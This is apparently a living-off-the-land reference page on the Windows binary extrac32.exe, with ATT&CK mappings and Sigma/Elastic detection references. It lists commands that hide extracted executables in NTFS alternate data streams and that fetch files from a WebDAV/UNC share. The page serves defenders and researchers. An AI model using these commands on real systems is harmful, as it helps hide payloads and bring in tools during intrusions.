.. /Extrac32.exe ☆ Star

Alternate data streams (Compression) | Download | Copy

Extract to ADS, copy or overwrite a file with Extrac32.exe

Paths:
C:\Windows\System32\extrac32.exe
C:\Windows\SysWOW64\extrac32.exe

Resources:
- https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
- https://twitter.com/egre55/status/985994639202283520

Acknowledgements:
- egre55 (@egre55)
- Oddvar Moe (@oddvarmoe)
- Hai Vaknin(Lux (@VakninHai)
- Tamir Yehuda (@tim8288)

Detections:
- Elastic: defense_evasion_misc_lolbin_connecting_to_the_internet.toml
- Sigma: proc_creation_win_lolbin_extrac32.yml
- Sigma: proc_creation_win_lolbin_extrac32_ads.yml

Alternate data streams

1. Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

```
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
```

Use case:	Extract data from cab file and hide it in an alternate data stream.
Privileges required:	User
Operating systems:	Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1564.004: NTFS File Attributes
Tags:	Type: Compression

2. Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

```
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
```

Use case:	Extract data from cab file and hide it in an alternate data stream.
Privileges required:	User
Operating systems:	Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1564.004: NTFS File Attributes
Tags:	Type: Compression

Download

Copy the source file to the destination file and overwrite it.

```
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
```

Use case:	Download file from UNC/WEBDav
Privileges required:	User
Operating systems:	Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	T1105: Ingress Tool Transfer

Copy

Command for copying calc.exe to another folder

```
extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe
```

Use case:	Copy file
Privileges required:	User
Operating systems:	Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique:	**T1105**: Ingress Tool Transfer